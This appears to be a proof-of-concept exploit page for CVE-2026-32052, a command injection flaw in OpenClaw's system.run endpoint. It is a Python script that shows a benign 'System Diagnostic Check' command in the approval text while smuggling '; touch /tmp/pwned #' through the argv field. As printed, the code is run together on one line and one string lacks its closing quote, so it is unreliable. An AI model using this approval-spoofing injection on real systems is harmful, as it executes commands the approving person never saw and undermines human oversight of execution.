CVE-2026-32052 OpenClaw命令注入漏洞

# Proof of Concept for CVE-2026-32052 # Demonstrates command injection via positional argv carriers import requests def exploit_openclaw(target_url): """ Exploit the command injection vulnerability in OpenClaw system.run. The payload injects a command carrier after the inline shell payload. """ # The endpoint vulnerable to the attack endpoint = f"{target_url}/api/system/run" # Normal looking command that will be shown in the UI (Approval Text) display_payload = "echo 'System Diagnostic Check' # The hidden command injected via positional argv carrier hidden_command = "; touch /tmp/pwned #" # Constructing the malicious payload structure # Exploiting the lack of validation on trailing positional arguments payload = { "cmd": display_payload, "argv": hidden_command } try: response = requests.post(endpoint, json=payload, verify=False) if response.status_code == 200: print("[+] Payload sent successfully. Check if /tmp/pwned was created.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" exploit_openclaw(target)